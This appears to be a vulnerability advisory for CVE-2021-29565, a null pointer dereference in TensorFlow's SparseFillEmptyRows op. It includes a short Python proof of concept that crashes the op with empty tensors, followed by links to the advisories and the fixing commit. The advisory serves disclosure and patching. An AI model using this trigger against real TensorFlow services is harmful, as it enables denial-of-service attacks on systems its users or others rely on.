CVE-2021-29565: Null pointer dereference in `SparseFillEmptyRows`
(updated )
An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.SparseFillEmptyRows:
import tensorflow as tf
indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
dense_shape = tf.constant([], shape=[0], dtype=tf.int64)
default_value = 0
tf.raw_ops.SparseFillEmptyRows(
indices=indices, values=values, dense_shape=dense_shape,
default_value=default_value)
References
- github.com/advisories/GHSA-r6pg-pjwc-j585
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-493.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-691.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-202.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-r6pg-pjwc-j585
- nvd.nist.gov/vuln/detail/CVE-2021-29565
Code Behaviors & Features
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